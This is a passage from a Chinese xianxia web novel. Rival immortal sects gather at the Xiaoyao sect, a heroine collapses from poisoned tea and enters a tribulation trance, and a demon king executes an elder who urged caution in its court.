“还有墨庄,墨庄和鬼谷原来私底下还有联姻——” “喔喔喔!” 更刺激了有没有。 台上,演昆仑剑修小寒的青度,提着坎天剑步步向前。 她面目平静,试图用一双凌冽的凤眼演出失望悲伤痛苦激动等情绪但是只演出了杀气。 “少说废话,拔剑!” 青度缓缓闭眼,尽力背着台词 在青度有限的生涯里,从没觉得过目不忘是一件这么痛苦的事情。 “你如此无情如此无义,说什么喜欢我不过是哄我,我都看见了你和他十指相扣了,还有什么好解释的,他他还叫你皇儿!” 邹娥皇:…总感觉这个皇儿怪怪的。 被指到的姜印容套着墨庄常见的彩衣弟子服,划着轮椅缓缓出场,“虚弱”地咳嗽了三声。 姜印容:“皇儿,他凶我。” 邹娥皇闭眼,认命地张开双臂护住身后的姜印容。 “住手,有什么冲我来,阿容之前为了保护我腿已经没了,你还要怎么样,当初认识你的时候,小寒,我从没有想过你居然是这么斤斤计较的男子——” 直到她脚趾扣地,这出戏竟也没完。 好在、好在,这里不可能遇上一群昆仑。 邹娥皇呼出一口气,浑然不觉此刻台下,一群白衣剑修悄然路过。 事实上,蓬莱一行人什么都没算错,昆仑确实是早出发了几天,但是么中间出了点小插曲。 比如说,这次昆仑的带队长老,并非宴霜寒,也绝不是那些个剑仙剑王们,而是天人五衰没几年好活的天机子。 这个众所周知不按常理出牌的人,这一次继承了一如往昔的风格,没有让众弟子御剑飞行,而是徒步,从死海走了出来。 于是两队,终于此时相遇。 “大师兄,何师兄,你们两个怎么不走了?” 何九州搓了搓手上的鸡皮疙瘩,脑袋里想的却是不久之前师父天机子曾经跟他说过的关于宴师伯的某些绯闻 何九州一回头,却只见两步远的距离,曲轻云已经变成了一尊石雕,而天机子,捂着嘴最后老脸笑成了一朵花。 举着手里的通灵玉,正在不知道给谁传信。 第63章 开战! 这世上的变故有时候就是这么发生的。 那年鼎盛王朝, 百姓没想过大周会出妖后与昏君;后来谢家如日中天,谢霖没想过有朝一日要他孤家寡人。 就像是青度的金丹,姜英的腿, 邹娥皇的剑。 这世间上绝大多数不幸的事情,其实也不过就是那一瞬发生。 但在那一瞬间发生之前,偶尔也有人会像被闪电击中一样,突如其来地脑海一震。 只听台上, 邹娥皇正低低地唱道:“可怜寒剑侠势大剑锐,要把我夫君打——” 对面的青度面无表情,手里持着坎天剑, 比出几道剑风, 模仿寒剑侠;坐在轮椅上的姜印容双手抬高,袖子捂脸,只露出了病气的肤色, 模仿被大的夫君。 剑气声, 唏嘘声,一片叫好声里面, 邹娥皇忽然听到了一阵熟悉的坏笑。 她猛地抬头, 却见到密密麻麻的人群上,有老头飞在一柄细长的剑上,一边笑,一边拿着通灵玉和旁人传音。 那剑,邹娥皇认得。 是西吹雪, 此剑一出,六月飞雪。 那人, 邹娥皇也认得。 是西吹雪真正的主人,褶子胡子一抓一大把的天机子。 邹娥皇:“。” 如果在这里出现了天机子。 她想, 那么这里一定会出现一群昆仑。 而最糟糕的事情,邹娥皇在刚刚竟才想到,小寒小寒和那位竟重了一个字。 应该、没什么事吧。 她沉沉抬起头,却只见天机子捂着嘴,“噗、噗”地笑,然后通灵玉那边传来了一声邹娥皇绝不会认错的男音。 宴霜寒:“她夫君是谁?” 平静的男音从通灵玉里传出来的时候,有一瞬间诡异的波动。 天机子坏笑:“师兄你管喽,反正不是小、寒——” “噗,好像是小容。” 只听铮的一声利器擦过耳边,天机子微微一躲,他是天人五衰的合道,只要邹娥皇不动剑,伤不了他。 另一边,越蓬盛跃跃欲试:“扔我,下一个扔我!” 越蓬盛不是个呆子,虽然不明白为什么昆仑在这里出现了,但是他知道蓬莱和昆仑是一山不容二虎的关系。 他毛遂自荐:“我会自己找准方向,这老贼跑不开!” 好志气,就是扔不动你哇 邹娥皇倒吸了口气。 如今戏已经唱完了,但是到了这个地步,她感觉这戏唱不唱完也没有什么意义,不,有的,变数只是一个昆仑 邹娥皇握紧拳头,下一瞬角落里却出现了一群红衣姑娘。 第二个变故出现了,邹娥皇听见越蓬盛骂了句我靠。 七彩阁怎么会出现在这里? 这群红衣姑娘里有尹芝。 七彩阁的大师姐,尹月的接班人,论道会上那位惊艳四座的姑娘。 而尹芝身侧的那个七彩阁本次带队长老,邹娥皇竟也认得,名尹婉。 坦白来说邹娥皇在修真界认识的人真不算多,除了和她有交集的就剩下了赫赫有名的,显而易见,尹婉是后者。 尹婉有个柔情似水的名字,早些年是修真界闻名遐迩的神医,后来和鬼谷的一位真人成了婚,算得上一双璧人,只是好景不长。 鬼谷那位真人负了她,说带她回去不过是为了给青梅竹马的师妹治病。 这个剧情是不是有点熟悉了。 邹娥皇想,他们演的这出折子戏,虽然是偶然,但是如今一看简直是像把巴掌往人家脸上贴。 果不其然,只见人群被几道红绫打散,这次出手红绫的人是尹婉,她比尹月要毒,比尹芝要快,只听得人群里传来一阵哀嚎。 下一瞬,十几道红绫从尹婉指尖迸发,每一条都闪着莹莹绿光,竟是用毒的! 但这威风凛凛的红绫还没来得及落地,就先被一面厚厚的冰墙冻住,冰墙后,姜印容双手微张,冰墙变凭空而现,接着她微张的双手握紧,寒气逼人的冰墙就从中空碎开,红绫也断成了一段又一段,被寒冰包裹漂浮在空中。 现在没有人会把她和十年前销声匿迹的姜英扯上关系。 十年前让姜英立起来的是体术,十年后让姜印容面不改色的是这一手出神入化的御冰术。 她比任何人都有理由讨厌寒气,讨厌雪,讨厌冷,邹娥皇想,可这人偏偏学会了御冰术。 怪乎当年是这人最后守住了北海。 寒冰棱角锋利,此刻形势一转,满天幕的冰锥明晃晃刺人眼,此刻都对准了尹婉。 “哼。” 尹婉冷笑连连,“毛头小儿罢了,你们无理在先,我只是出手给你们一些教训,竟还在这里逼迫本座。” 邹娥皇也凭空飞起,挡在尹婉和姜印容中间,硬着头皮道:* “真君何出此言?” 底下的尹芝好像是认出来了邹娥皇,瞳孔微微一缩,她向上喊别打了别打了,但是却并没有得到尹婉的回应。 尹婉咬牙冷笑:“你们拿我的事情排便做戏,还问我何出此言?” 邹娥皇解释道:“巧合真君,天下负心汉多如牛毛,爱恨情仇也都是大同小异,不过是今日他负了我,明日我负了他,真君不妨先问一问,何必大动肝火直接上手?” 天机子哈哈大笑,在一旁火上浇油道:“确实如此,尹婉这次你可真是冤枉了他们,这折戏哪里讲的是你那些陈芝麻烂谷子的旧事,明明是我师兄和邹娥皇还有容有衡的三角关系,这化名用的都是他们的名字!” 通灵玉传来一阵灵气乱流的声音,宴霜寒的声音再度传出:“…别乱说。” 这厮居然还没挂断,邹娥皇瞪了一眼天机子 台上,姜印容抿了抿嘴,眼风微微一瞥角落里的谦立延。 早知道当初,就叫这人不用小容而是用小印了。 明明讲的是她和邹娥皇的故事 冰锥寸寸逼近尹婉。 尹婉这次只是先一指打散了,并没有动怒,而是突然注意到了天机子和他身后那群白衣剑修。 只见尹婉眼珠子微凝,冷声质问昆仑众人。 “昆仑?你们怎么在这里,难道逍遥门也给你们发邀请函了么?” 天机子问:“什么邀请函?” 邹娥皇也盯着尹婉。 却见对方自知失言,急急闭嘴。 自那几道红绫出现起,现场近乎已经被打乱,原本密集的人群都散去了,空荡荡的大道只剩下了蓬莱、昆仑、七彩阁三门派的人大眼瞪小眼。 天机子还要再问几句,不远处却忽然传来了一阵喧闹,只见半空里凭空怒放了红火色的烟花。 沸沸扬扬的烟花和呛人的火药气让在场的一众人面面相觑。 弥漫在空中的火红色的烟花慢慢变成了两个字——鬼谷。 火器开道,烟雾缭绕,虚虚实实,是为鬼谷。 五大仙门里唯一的炼器门派,富可敌国。 邹娥皇此刻竟有一些许的庆幸了——庆幸鬼谷出现的晚,没看见刚刚那出折子戏。 不过,这些人怎么会都在这里? 邹娥皇视线一转,看向尹婉。 尹婉脸上已经没有先前的恼恨了,取代而之的反而是一种了然。 邹娥皇目光落至右边小道头上,另有一群穿着彩衣的人走了出来,这些人身上的彩衣和寻常成衣铺子里的不一样,由密密麻麻的碎布拼接而成。 每一块碎布上面都有几针七扭八拐的人名,象征着这一身彩衣至少是出自几十人之手,更难能可贵的是虽然无甚灵力波动,却有了天道眷顾的道韵,是功德之力。 这是墨庄的人。 有人说,墨庄是比佛家子弟还要更接近佛的一种存在,弟子出门行善,不问归期也不问善果。 今日的第四波人了,短短的几瞬,五大仙门,竟都齐了。 邹娥皇手警惕地落在剑上。 她和姜印容的分析没有问题,每次幻海天秘境几大门派多半都只是在交叉路口相遇。 但是这群人却来的这样早。 一定有什么变故在她们不知道的地方发生了。 墨庄最前面的那个人身上的彩衣最长,几乎都要拖在地上,而他双脚悬空一丈有,生得是十几岁的少年模样,可在场没有人会真把这人当少年。 如果说在蓬莱,最俱代表性的是镇魂兽的袖章,戴在谁身上就说明谁是这代领头羊的话,那么在墨庄这里,最有象征意义的便是这一块块碎布拼成的彩衣。 救一人性命,便可得一人针线填上一块巴掌大的碎布。 这针脚不齐的彩衣,绝非普通的布,而是墨庄弟子走过的路。 一针针,一线线,具是功德。 “墨庄三长老东方皓轩见过诸位。” 走在最前面的少年模样的人微微一笑,终是开口。 他声音低沉,像林间流动的溪水。 “诸位都是为了逍遥门相邀而路过此地么?” 第二次听到逍遥门了。 第一次是从尹婉嘴里听见过这三个字。 “什么是逍遥门?” 越蓬盛挠了挠头,他身上还穿着之前的戏衣。 东方皓轩礼貌答道:“冀州此处的二品仙门,半个月前曾给我们传信,说这里有幻海天秘境的线索,于是我们便来了。” “嗬。” 尹婉这个时候敛了怒气,此刻她收了刚刚嚣张跋扈的模样,眉压眼紧,嘴角只有一个刻薄的笑,“恐怕不止吧。” “最烦你们这些人吞吞吐吐,又想装好人又说话说一半了,既然要当好人不妨当到底。” 尹婉不耐烦道:“不都是听了逍遥门的信么,有什么好遮掩的,说这次进幻海天,他们这里有秘境里的一处洞穴密钥,关乎飞升,乃大事。” 邹娥皇与天机子两相对视,心下微沉。 蓬莱和昆仑并未收到。 “逍遥门,”邹娥皇眼皮微抬,终于从犄角旮旯的回忆里找到了这个门派,轻吟道:“逍遥人,逍遥门,人间不渡客,逍遥未有期。” 这个门派素来低调,蜗居冀州一方。 怎么会在这个关头邀请七彩阁、鬼谷、墨庄,又特意绕开了昆仑和蓬莱再说他们逍遥门也分到了秘境名额,若真有什么线索,哪里轮得到外人。 “别这么看我,”尹婉不耐烦,“七彩阁没有蠢货,来了便是对这封信的真实性有了把握,只是没想到还是被撂了一手。” 尹芝嘴角微微一抽,看着自家长老。 哪里是什么把握。 不过是那日阁内开大会,大家坐在一起权衡利弊一圈后,觉得逍遥门实在没什么底气骗七彩阁,左右也是顺路的事,于是一拍板子就来了,但是看今日这情况,各大仙门齐聚一头,多半都是被逍遥门驴了。 毕竟那封信里 ,可是以“投名状”为由,没提过竟还有这么多人都要来分一杯。 半空中,不断弥漫的烟花终于散去。 整齐划一的脚步声震震从地上传来,诡异的是,无论众人从哪个方向张望,似乎都无法辩识出脚步的方位。 就连以耳朵出名的孙峰贰,竟也是迟疑了几秒,才向东边看去。 鬼谷,诡异者,善阵,善器。 当初那句,蓬莱难寻,昆仑难入,其实还有后四个字。 鬼谷难抓。 当最后一丝火药的烟气从众人鼻尖消散,一行身上戴着斗篷的灰衣人终于从东边出现。 邹娥皇想起尹婉和鬼谷的情仇,转身去看这嘴巴不饶人的七彩阁长老,却只见此时这人嘴唇灰白,面色有一瞬间被击败的脆弱。 竟是一声未吭。 这反应明显不正常。 只见鬼谷为首的灰衣人挑开斗篷,露出了一张坑坑洼洼的面容,像是早些年被什么药毒过一样,在修真界一众帅男美女里面,这张丑巴巴的脸显得极其突兀。 “嘶,老鬼谁准你掀开斗篷的,”天机子咋舌。 听这句话,这两人好像认识。 老鬼、老鬼、等等—— 邹娥皇拍了拍脑袋。 五千年前在秘境的时候,她和天机子一起走的时候,确实是听他喊过一个鬼谷的人这两个字的,只是邹娥皇分明记得,当初那个被喊老鬼的男子,分明生了张好相貌。 那男子叫肖贵,因为谐音小鬼,所以天机子总爱开玩笑喊人家老鬼。 只见那被叫做老鬼的鬼谷长老不见喜怒,听话地将斗篷帽子又戴了回去,道:“抱歉。” 此刻唇色灰白的尹婉终于恢复了方才的强势,气息逐渐平稳,刚刚所有人都在盯着肖贵被毁的容貌,只有尹婉没有多看一眼。 因为那张坑坑洼洼的脸就是尹婉的杰作。 当戏折子里的故事出现在现实里,其实不过也就是一句: 一腔真心敌不过情郎薄幸。 那年众人皆叹尹婉,明明拜入了尹月的七彩阁,明明悬壶济世,可还是留不住一个情郎的心,输给了对方青梅竹马的师妹。 笑话。 尹婉想,有什么好叹息的? 肖贵当初跟她说了一声抱歉。 而现在他需要带着这样的容貌和见到的每一个人都要说一声抱歉。 这就够了。 尹婉想。 随着鬼谷讪讪也出现在这头后,本就不算宽阔的街道显得更为狭窄。 曲轻云冷眼观了会后道,“五大门派都齐了,这逍遥门在搞什么?” 昆仑大师兄类似于蓬莱大师姐,身上比起别的弟子,确实是有些特殊的装饰的,比如曲轻云的双剑剑柄上系着的剑穗,拿太阳鸟的尾羽毛做成,在日光下发着淡淡的霞光。 但就算没有这些花里胡哨的装饰,青度一看双剑便也知对方的身份。 那个永远比青度幸运两分的曲轻云。 “不是五大门派,我们蓬莱和你们昆仑都没有被邀约,不如说逍遥门特意绕开我们两个门派,将七彩阁、墨庄、鬼谷的这百年精英聚在一起,是想做什么。” 青度平静反驳道。 曲轻云寻着声音的方向看了过来,须臾挑眉笑了:“你是青度,蓬莱大师姐?” 比他之前想的还要缜密和细心。 “幸会,百闻不如一见。” 正如青度明白对方的身份,曲轻云自然也听过青度,同辈之中,唯他们二人是少有的对手。 尽管,这是第一次见。 越蓬盛在一旁酸溜溜地重复,“百闻不如一见,啧啧啧。” 青度懒得理越蓬盛的阴阳怪气。 不远处,天机子摩擦着下巴,他不知不觉已经飞到了邹娥皇跟前,“你家那孩子说的有道理,逍遥门这是想干什么?” 邹娥皇瞥了他一眼,知道这也是个老狐狸就懒得和他装了,“你问我?飞升这类事情体系重大,他看似是绕过了这三门,其实不然,他绕过的是整个十四盟,在分解仙门的势力。” 但无论如何,邹娥皇松了一口气。 五大仙门提前相遇。 那个演戏本的计划反正是告终了,有时候想想失败其实也是一件好事。 最起码。 不用太社死。 … 日落正午,先前尹婉出手的时候那几鞭子极为嚣张,看戏的人群被疏散开的同时,消息自然也会散开。 逍遥门的掌门一听到消息,就立刻派遣长老来接人了。 然而,还是慢了几步。 在空中骑着飞鸟极速行驶的逍遥门李长老看着五个门派各具标志的衣物,险些没有刹住步子。 糟糕。 他暗道一声不好。 “诸位我是逍遥门的李长老,诸位都是应邀约而来的吧,请跟我来。” 李长老擦了一把汗,他心虚地瞟了眼昆仑和蓬莱。 当初没邀请这两宗啊现在来这里凑啥热闹啊。 眼看着天机子笑眯眯地招手昆仑弟子就要跟着自己一起走了,李长老终于艰难开口道:“那个我们掌门当初没说要昆仑剑仙们和蓬莱真君们一起来——” 天机子没说话。 这个老头平常总带笑,所以众人不自觉地就以为他脾气好,但是当被天机子抿着唇蹙眉盯着的那一刻,李长老觉得自己脑袋已经和屁股分家了。 于是众人听见李长老磕磕绊绊地补道:“但、但是我们掌门应该是忘了、大家一起走吧。” 邹娥皇哎了一声,笑眯眯道:“这就对了。” 既来之则安之,不妨去看看逍遥门到底在玩什么把戏。 … 逍遥门并不是什么久居深山无人知的门派,恰恰相反,它在冀州知名度很广,至少算得上是大派了。 逍遥门的李长老客气地把他们安置在了一座院落里,然后就讪讪跑了。 邹娥皇坐在主位上,撂开茶壶给自己先倒了一杯水,今天唱了四折戏,嗓子哑哑的。 她偏头看面前的弟子们,“计划赶不上变化,咱们在逍遥门呆一天,看看他们要做什么,绝对有鬼,天机子都最后把剑亮出来了,他们逍遥门不过也就是把他们安排在我们隔壁,那个什么掌门人到现在都不肯露面,只见了七彩阁鬼谷墨庄三个门派的人” 邹娥皇一边说,一边打了个哈欠,忽然觉得头有些沉沉的晕。 下一瞬,姜印容坐在轮椅上,感觉有什么东西忽然砰地一声撞到了她的怀里,鼻尖拂过一阵淡淡的清香。 是邹娥皇。 邹娥皇话没说完,却先倒在了姜印容怀里。 谦立延、孙峰贰神色微变,一个箭步上前打算把人架出来,却只看见自家主子姜印容隐晦地摇了摇头。 一阵悠扬的呼吸声慢慢从邹娥皇身上传出。 越蓬盛扣了扣手,“她还挺会睡的,选了个有轮椅的能接着。” 巴掌大小的镇魂兽跳到他肩上,发出了嗷呜一声的赞同。 青度瞥了他一眼:“你觉得突然晕了能用睡觉这种事来解释么。” 桌子上,茶水微微晃动。 姜印容将手落在邹娥皇的经脉上微微一试,然后怔然。 如果说别人的经脉像一条不断延展的线,那么邹娥皇的经脉则像是捞起的一把散沙,连最基本的定型都做不到。 “怎么样?” 青度问。 姜印容抬头道:“这几日大家都吃备好的辟谷丹,不要碰逍遥门里的东西,茶水里有一种毒素,本来发作缓慢,但是邹娥皇的身体和我们不太一样,茶水的毒素反而加速了她剑心剑脉的融合,所以才会突然晕倒。” “让她睡一觉吧,不要吵醒她。” 姜印容随手将邹娥皇额前的碎发撩开,下一瞬众人却具是一愣,不知道何时起,原本光洁的额头出现了一团红色的火焰形状。 火焰如怒放的红莲,盈盈绽放在她半额上。 越蓬盛急促地啊了一声。 “不会吧,邹师伯明明是化神啊——” 青度喃喃开口解释:“传说合道后期步入大乘的最后一个门槛,是渡劫神境,心魔劫的一种,心有不甘者可在此境里重返过往,而度此劫者,最明显的标志是会陷入昏迷,头冒红色火焰。” 可是 邹娥皇浑身气息没有变,还是化神巅峰的修为。 怎么会有渡劫神境。 是剑心剑脉的融合,才刺激到了这玩意吗? 还是只是恰巧这几件事撞到一块了? 姜印容面色是这几人里最平静的,但她心里的波涛骇浪不亚于两人,因为比起青度和越蓬盛,在姜印容还是姜英的时候,十年前她见到的邹娥皇,本就是大乘。 一个人会经历两次渡劫神境么? 姜印容想起了先前自己给邹娥皇搭过的脉,瞬间又有一丝对于之前邹娥皇修为的怀疑,那样坑坑洼洼的经脉,细如丝的灵根,邹娥皇之前大乘之时,真的能用这样的灵脉挺过渡劫神境么,会不会只是躲开了。 然后直到现在,剑心剑脉打破了邹娥皇身体的平衡和封印,才把这渡劫神境从角落里放了出来。 这或许就是唯一的解释了。 “睡吧。” 她将邹娥皇放到软榻上。 姜印容英眉之下,是一双淡薄的眼。 这眼此刻正静静地看着床榻上的姑娘。 里面有她本人都不懂得的惊涛骇浪。 等邹娥皇一觉醒来,姜印容想,或许会没通过渡劫神境的历练,剑心剑脉也没有融合,什么都没了。 就像自己当初那样,千辛万苦,从皑皑白雪里走出,战胜了死亡,却没有赢得人心,最后隐姓埋名,做个逃兵。 又或许,一觉醒来,邹娥皇会被全世界拥抱。 剑心剑脉修为,这世界上众人欠她的伤她的,都会回来。 可是。 可是,姜印容忽然察觉到一滴泪从自己的眼角滑下。 她在为邹娥皇哭? 是的,在为邹娥皇哭。 姜印容哑着音自语道:“在我还叫姜英的时候,我难过过,失败过,胜利过,骄傲过,但我不曾后悔过,当年我想我就该过这青史留名的一生,命运何其成全我,成全我的野心勃勃,也成全如今的我。” “可是邹娥皇,为何命运偏偏不肯宽宥你。” 姜印容又想起了那场苦寒的雪,在雪山上,脚印不过是眨眼就会被冰雪埋没,行人无法回头,因为来路早已消失,只能不断地向前。 邹娥皇好像一直在这样的雪里。 “你明明那么想要一步一个脚印,稳扎稳打,你明明从来走的都是中庸之道,可是为什么命运每次都要和你这样开玩笑,要你非胜即败,非死即伤?” 要你走一个极端。 一鸣惊人或者落落寡欢。 极端对于天才来说或许是求之不得。 可邹娥皇和她不一样,和青度不一样,和宴霜寒不一样,和容有衡不一样,邹娥皇甚至从来都担不得天才二字,她只是想走一条普通人的路。 不放弃,普通人也能走下去的路。 但命运却总是喜欢把这人架在天平的中央,要么应有尽有,要么一失全失。 雪洞里,邹娥皇最常跟姜印容说的是别怕,别惶恐,别担忧。 但其实一直说不要怕的那个人,才是真正害怕的那个。 因为这姑娘自己在害怕担忧惶恐,所以才会想对旁人说,不要怕。 可谁会问她怕不怕。 谁会问邹娥皇怕不怕? 好像众人都默认了,这个姑娘一定和那柄古朴的黑剑一样,不与世俗流,不怕世间险。 姜印容慢慢绕着邹娥皇被汗渍打湿的曲发,眼中映着那朵明明灭灭的红莲,心想,那么就我来吧。 不要怕,这次由我对你说。 邹姑娘,不要怕。 …… 妖界,猪州。 人界已经有些许寒的秋,一界之隔的妖界,却还是烈阳当空挂。 苟长老化作原型地窝在洞穴里。 作为一只狗妖,准确的来说是一只纯血天狗后代苟宁一直觉得自己的狗生顺风顺水,虽然吧实力不强,但是血脉占优势,哪怕是二十年前妖族人人喊打的时候,它也过的很滋润。 所以它不理解痛心疾首的包长老,也不理解颓废呐喊的佘长老。 它觉得,哪里就到这种地步了呢,再说妖界就算完了,又干卿何事,说句不好听的,二十年前根本没妖界这玩意,二十年前天下十四州都是人族的,妖人人喊打,不也这么过来了么。 而有了妖界之后。 妖界真的改变过么? 苟宁想起街上那些衣衫褴褛的半妖,还有乱坟岗里的无头妖尸。 没有妖界的时候,这些妖是露宿街头朝不保夕。 死在战场上一片片的尸骸里,有多少大妖将,不都是这群小妖。 有妖界之后,这些妖也是被召之即来驱之即去。 苟宁想,无论什么时候,大妖永远活的滋润,小妖永远都活的兢兢业业,这是血脉和天资一出生就决定的事情。 既然如此,为什么还要执着于和人族抢地盘呢。 “长老——” 敲门的是苟宁的妖侍,一只灰老鼠,但算血脉较纯正的一批了,所以才能领到这份差事。 “底下的妖说,您放在酒楼里的折子戏祭旗反应很好。” 诚如何言知那日觉得这祭酒的折子戏有趣。 确实是被苟宁特意放过去的。 不过说目的么,倒不像何言知这类黑心惯了的人看什么都要阴谋论一下,苟宁做这件事的时候完全是下意识地,谈不上要从思想上变革妖界。 它就是觉得这戏写得好,肯定能火。 苟宁哦了一声,继续用原型的姿势趴着,像一只巨型狗狗,懒洋洋地挠着身上的毛。 它现在在思考的不是酒楼的生意。 它在思考嗯,就是些干卿何事的事。 就像人界有十四盟之类的商讨议事的地方,妖界也有妖界的大会,仿照之前的周,设立了三天一早朝的习惯。 在昨日的早朝上,苟宁听着那个让它害怕的人类,向年轻的久俊提建议,说要在幻海天秘境上动手脚,派人潜入鬼谷七彩阁墨庄,在幻海天里拿到神的信物。 对,就是神的信物这个扯淡的玩意。 本来去密州偷一群人类回来搞祭祀这套就已经够奇怪的了,结果现在又出了个神的信物,说要拿到神的信物才能开始神的祭祀 信物信物也就罢了,那可是幻海天,是那么好混进去的么?本来最近密州的事情,那群十四盟的就天天派人来猪州交涉,意思是那群被带走的人活要见人死要见尸,否则就开战—— 开战! 这两个字,听着就害怕。 现在要是被他们知道妖准备混进幻海天,潜入了五大仙门,那岂不是真要开战了。 苟宁的爪子扒拉的越来越快。 它不怕妖界没了,只是开战开战 一时间苟宁脑袋里的还是那句: 干卿何事! 没看私底下麻麻赖赖的包长老一句话都不敢说么,像它们这种单纯靠血缘没建树的长老不过名头风光,真打算去劝久俊,是嫌自己死的不够快么? 就算真开战了,难道就没活路了么? 干卿何事! 没看见一直抱怨的那条老蛇最后找了个酒窑把自己锁起来了么。 到底干卿何事啊! 砰地一声,平地起浓烟,苟宁从一只趴在地上的天狗变成了人形,它理了理衣服。 “备车,我要面见久俊妖王。” 它想,确实是干卿无事。 可难道就不能多管闲事么。 如果包长老和佘长老在这里看到这只老狗毅然决定进宫劝谏久俊的场景,必然要啧啧称奇。 太和殿上久俊三天前杀了一名劝谏的婴鸟,血迹晾在那里,现在隐隐还能嗅到一股腥气,正因如此今日早朝久俊说得再离谱诸妖也是敢怒不敢言——从某种程度上,妖这玩意比人还要现实。 它们从来没有血性,学会思考全局观也是上一代久俊教的,大部分的妖只有血脉荣耀没有妖族荣耀。 能活下去就好。 底层不必思考尊严这类离它们太远的东西,高层也不必思考妖族的未来到底要驶向何方,哪怕是包长老那类对于何言知看不下去的,也不是针对别的,而是因为对方是个人。 久俊记忆传承何止五千年,可五千年也只出了那么一只久俊,为妖界而战。 “你要劝孤?” 孤这个字眼是妖王久俊迁都猪州后才学会的,读起来舌头却不太灵活,音调不对听着滑稽,就像是这群妖仿照人族建的宫殿还有那些朝制,说来也只学了个皮毛,并不成熟。 一般情况下久俊也不会用这个调调,除非是怒了。 久俊雪白的翅膀飘在身后。 此刻妖王低头看着跪在地上瑟瑟发抖的苟长老,在极致的血脉威压下,这条老狗甚至把尾巴耳朵这类的都爆了出来——这在妖界是极其羞辱的事情。 何言知也在场,苟长老仿佛都能听见这个人类于鼻尖呼之欲出的轻笑。 苟宁颤颤巍巍地埋头道:“是。” 久俊翅膀微微一扇,狂风将才固定好没几日的花瓶噼里啪啦地推到地上。 “上一个劝孤的,你知道是什么下场么?” 苟宁说:“知道。” 依旧是声小若蚊蝇。 “苟长老,”久俊说,“如果你都知道,那你要不要猜一猜你的死法?” 苟宁这次终于抬头,妖王的威压几乎要在它背上刻个烙印,像重重的锤子砸弯了它的脊梁,逼得它不得不发出一声嚎叫,冲散些许威压。 它答非所问:“婴鸟为前任妖王出生入死,一共两双翅膀,为了寻找上一任久俊的尸骸在战场上飞了三个回合,从此折掉一双,连它这样的功臣,真心拿您当自家小妖疼爱的,免不了殿前辱死无全尸,王,我还能期待什么样的死法。” 婴鸟一族食骸骨,也敬骸骨,所以在当初久俊死了之后,所有人都告诉这只婴鸟不可能留下什么骸骨的情况下,婴鸟仍自作主张地旋飞半日啼叫不止。 而对于一只婴鸟来说,最残忍的死法,不过也就是血溅三尺,尸骸不全。 久俊笑了,兽类的瞳微微闪烁,它说:“孤欣赏你的自知之明,可以给你留全尸。” 尖锐的爪子拍在苟长老毛绒绒的耳朵上,这位妖族的王终于纡尊降贵地从王座上起身,决定亲自“送”这位长老一程。 此刻空荡荡的大殿上却忽然飘荡起了一阵笑声。 是何言知笑了。 他饶有兴致地道:“先别杀它。” “我想听听,它要劝说什么。” 久俊这个时候终于收手了,它很不爽地啧了一声。 其实众妖还是误会了这久俊和何言知的关系。 这一妖一人实力上算得上旗鼓相当,谁也动不了谁,所以不存在谁臣服谁的关系。 这两个只是单纯的利益交换罢了。 那日何言知告诉久俊,他是起死回生之人。 “你们久俊一族,传承世代而不灭,可惜王不见王,一直以来,你信神,其实不过也就是在等天道的约定被另一种力量介入干涉,你希望见到你的父王。” 何言知有星盘,他什么都能算到。 而哪怕不用星盘,他也自然能看透这只年轻的妖王心里在想什么。 于是他低声循循善诱道:“我能帮你。” 年少的妖王问:“本王凭什么信一个人类?” 何言知说:“因为我也有求于你。” …妖王久俊现在想起这个人类那日说的请求,都忍不住咋舌,它一直觉得自己为了让父王活过来,找那群不知善恶的神合作就已经是疯了,没想到这个人居然比自己还疯! 一个执念,追寻了几千年不够,如今好不容易活过来了,居然还要弄个彻底么? 不过,忍。 没必要和一个疯子计较。 ——妖族们都以为久俊设在何言知身旁的妖兵统领是为了表达对他的重视,殊不知,这是久俊对于这个人类的忌惮。 要知道久俊疯了不过也就是杀人,而何言知,它曾亲眼见过这个表面慈悲的人为了达到目的,曾在背后下了多少黑手。 就连自己的同族,这人也能面不改色地反叛。 通明的大殿里,苟长老浑身的皮毛都被冷汗浸湿。 “我要劝说您,杀了面前的这个人族,或者将他驱逐出境。” 苟长老声音磕磕绊绊。 它说话毫无底气,心知这句话后自己是必死无疑,不由得悲从心来。 哪怕活下去,被当面穿小鞋的何言知绝对也不会放过它。 却不料久俊问道:“为什么?” “又是老掉牙的非我族类,其心必异么?” 苟长老摇了摇脑袋,威压之下,蜿蜒的血迹从它的牙缝中渗出。 “我是妖,虽然得了化形,但实在不懂人类,可我知道,我不会为了人族出卖妖族。如果一个人为了妖族出卖人族,那他就是不可以被信任的。” “与人谋皮,王,我们都是被扒皮的那只虎。” “混入幻海天,万一被发现了怎么办,封锁冀州,混入鬼谷墨庄七彩阁,五大仙门,人族有那么多法宝,照妖镜什么的不在少数,真的不会被发现么。还是说你们的目的就是被发现,开战——” “噗嗤”地一声。 久俊不耐烦地蹙眉,长指化爪,微微一勾。 跪在地上的苟宁就少了一只耳朵,鲜红的血染红了纷白的狗毛。 然而它断断续续的声音并未停下,带点呻吟的微弱气息慢慢从跪伏在地上、已经显现出原型的天狗口里传出。 “二十年,妖族只发展了二十年,要拿什么和人去开战——” 又是一声“噗嗤”。 这次断掉的是这天狗的黑翼。 “王——逍遥门是上一代王留下的在人间唯一的根基,将来妖族如有不测,逍遥门就是我们最后的净土,怎可,怎可此时暴露于人前——” 那双圆溜溜的眼里面,有无数晶莹剔透的泪水涌出。 是对死的害怕。 是对生的愤怒。 何言知此刻终于明白了自己为什么会突然来了兴致开口。 是这样挣扎而强烈的愤怒,出现在一只妖的眼里,让他想起了周平,想起了老乞丐,想起了邹娥皇。 但是很遗憾。 这只妖太聪明了,太像人了,就不该继续活了。 很遗憾。 这一次重来一世,何言知不想做什么圣人,也不想君子论迹不论心了。 于是他对久俊说:“杀了吧。” 何言知想,当年的白泽若是有这天狗一半的硬骨,谢家那场天火还要再晚个好几百年。 很快,狗妖惨死的尸体,被几个妖兵拖了下去,很快连那一摊血迹也被清洗干净,只剩下了若隐若现的腥味,微微有些刺激久俊,它情不自禁地伸出了獠牙。 “那批祭品都准备好了么?” 何言知问。 祭品,指的自然是密州事变那日,被带走的人。 久俊收回獠牙,“从密州带出来的那帮人?倒是都开始信神了,只有一个天天嚷嚷着不信不信,又策反了一堆人闹开了,若不是因为祭品的人数差他一个不够,早就弄死他了。” 何言知又问:“现在这个刺头在哪里,我去看看。” 久俊蛮不在乎道:“在水牢里关着。” 何言知听后点了点头,礼貌地拱手准备退下,却被久俊叫住了。 妖王的兽眼里面有一圈深红的血色,再才是金色的竖瞳,此刻紧紧盯着何言知的背影,沉沉问道:“你这人类,可知为什么孤连杀两长老都不曾动过你性命,可知孤为何愿意亲临冀州灭三门下秘境么?” 